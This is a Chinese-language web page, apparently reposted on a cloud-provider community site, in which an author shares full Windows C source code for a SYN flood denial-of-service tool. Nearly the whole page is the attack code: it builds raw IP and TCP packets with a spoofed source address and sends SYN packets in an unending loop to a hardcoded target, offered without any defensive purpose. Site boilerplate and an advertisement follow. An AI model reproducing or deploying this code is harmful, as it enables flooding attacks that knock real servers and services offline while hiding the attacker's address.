syn flood攻擊代碼)

來源:互聯網
上載者:User

這是一個老代碼了,放出來就是為了讓自己轉個運氣!:)這幾天的運氣實在不好乾什麼都不順利。

代碼如下:

//
//write by Gxter
//date : 200501111   2:27
//win2k + sp4 + vc6.0
//
//syn.cpp

#include "winsock2.h"
#include "Ws2tcpip.h"
#include "stdio.h"
#include "memory.h"
#include "stdlib.h"
#include "syn.h"

#pragma comment(lib,"ws2_32")
//--------------------------------------------------------------------------------------

#define STATUS_FAILED 0xFFFF    
#define SYN_DEST_IP   "192.168.0.119" //dest 
#define FAKE_IP       "202.106.127.55" //src     fake   

int src_port = 80;
int dest_port = 445;  
    

USHORT checksum(USHORT *buffer, int size);

int main(void)
{
 int datasize;
    int ErrorCode;
 int flag;

 int num = 0;
   
 int TimeOut=2000,SendSEQ=0;         
    char SendBuf[128]={0};          
 
    WSADATA  wsaData;
    SOCKET   SockRaw = (SOCKET)NULL;        
    struct   sockaddr_in   DestAddr;       
    IP_HEADER   ip_header;
    TCP_HEADER  tcp_header;

 

    if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)     
 {
        fprintf(stderr,"WSAStartup failed: %d/n",ErrorCode);
        ExitProcess(STATUS_FAILED);
    }

    SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
 if (SockRaw==INVALID_SOCKET)
 {
        fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError());
        ExitProcess(STATUS_FAILED);
    }

 flag=TRUE;

 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
 if(ErrorCode==SOCKET_ERROR) 
  printf("Set IP_HDRINCL Error!/n");

 __try
 { 
  while(num <10240)
  {
   num++;
   if (num ==10239)
   {
    num = 0;
    printf(".");
   }
  

  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
  if(ErrorCode==SOCKET_ERROR)
  {
            fprintf(stderr,"Failed to set send TimeOut: %d/n",WSAGetLastError());
            __leave;
        }

  memset(&DestAddr,0,sizeof(DestAddr));

  
  DestAddr.sin_family=AF_INET;      
        DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP); 
  DestAddr.sin_port = htons((u_short)8080);

  //填充IP首部
        ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本號碼,低四位首部長度
        ip_header.tos=0;
  ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16位總長度(位元組)
        ip_header.ident=1;                                                       //16位標
        ip_header.frag_and_flags=0;                                               //3位標誌位
        ip_header.ttl=128;                                                     //8位存留時間TTL
        ip_header.proto=IPPROTO_TCP;              //8位協議(TCP,UDP…)
        ip_header.checksum=0;                                 //16位IP首部校正和
        ip_header.sourceIP = inet_addr(FAKE_IP);        
        ip_header.destIP   = inet_addr(SYN_DEST_IP);     //32位目的IP地址(攻擊地址)

  //填充TCP首部
        tcp_header.th_sport=htons(src_port);                                     //源連接埠號碼
        tcp_header.th_dport=htons(dest_port);                                     //目的連接埠號碼
        tcp_header.th_seq=htonl(SendSEQ+num);                                //SYN序號
        tcp_header.th_ack=0;                                                 //ACK序號置為0
        tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);                    //TCP長度和保留位
        tcp_header.th_flag=2;                                                //SYN 標誌
        tcp_header.th_win=htons(16384);           
        tcp_header.th_urp=0;                                                 //位移
        tcp_header.th_sum=0;                                                 //校正和

        //填充TCP偽首部
        psd_header.saddr=ip_header.sourceIP;                    
        psd_header.daddr=ip_header.destIP;                    
        psd_header.mbz=0;
        psd_header.ptcl=IPPROTO_TCP;                             
        psd_header.tcpl=htons(sizeof(tcp_header));             

      
        memcpy(SendBuf, &psd_header, sizeof(psd_header));        
        memcpy(SendBuf+sizeof(psd_header), &tcp_header, sizeof(tcp_header));  
        tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

     
        memcpy(SendBuf, &ip_header, sizeof(ip_header));  
        memcpy(SendBuf+sizeof(ip_header), &tcp_header, sizeof(tcp_header));  
        memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header), 0, 4);   
        ip_header.checksum=checksum((USHORT *)SendBuf, (sizeof(ip_header)+sizeof(tcp_header)));  

 
        memcpy(SendBuf, &ip_header, sizeof(ip_header));
  memcpy(SendBuf+sizeof(ip_header), &tcp_header, sizeof(tcp_header));

  datasize=sizeof(ip_header)+sizeof(tcp_header);  
        //發送TCP報文
        ErrorCode=sendto(SockRaw,SendBuf,datasize, 0, (struct sockaddr*)&DestAddr, sizeof(DestAddr));
  if(ErrorCode==SOCKET_ERROR)
   printf("/nSend Error:%d/n",GetLastError());

  }//end of while

 }//End of try

 __finally
 {
  if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
  WSACleanup();
 }

 return 0;
}

//--------------------------the-------end------------

 

//
//write by Gxter
//date : 200501111   2:27
//win2k + sp4 + vc6.0
//
//syn.h

typedef struct _iphdr

{
        unsigned char h_verlen;            //4位首部長度+4位IP版本號碼
        unsigned char tos;               //8位服務類型TOS
        unsigned short total_len;      //16位總長度(位元組)
        unsigned short ident;            //16位標識
        unsigned short frag_and_flags;  //3位標誌位
        unsigned char  ttl;              //8位存留時間 TTL
        unsigned char proto;         //8位協議號(TCP, UDP 或其他)
        unsigned short checksum;        //16位IP首部校正和
        unsigned int sourceIP;            //32位源IP地址
        unsigned int destIP;         //32位目的IP地址

}IP_HEADER;

 

typedef struct _tcphdr             //定義TCP首部
{
    USHORT th_sport;               //16位源連接埠
    USHORT th_dport;               //16位目的連接埠
    unsigned int th_seq;         //32位序號
    unsigned int th_ack;         //32位確認號
    unsigned char th_lenres;        //4位首部長度/6位保留字
    unsigned char th_flag;            //6位標誌位
    USHORT th_win;                 //16位視窗大小
    USHORT th_sum;                 //16位校正和
    USHORT th_urp;                 //16位緊急資料位移量
}TCP_HEADER;

 

struct  
{     
        unsigned long saddr;  //源地址
        unsigned long daddr;     //目的地址
        char mbz;                    //置空
        char ptcl;                   //協議類型
        unsigned short tcpl;     //TCP長度

}psd_header;

USHORT checksum(USHORT *buffer, int size)
{

        unsigned long cksum=0;

        while(size >1)
  {
            cksum+=*buffer++;
            size -=sizeof(USHORT);
        }

        if(size )
   cksum += *(UCHAR*)buffer;

        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >>16);

        return (USHORT)(~cksum);
}

//----------------the----end-------------

Gxter.希望好運
200501111

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.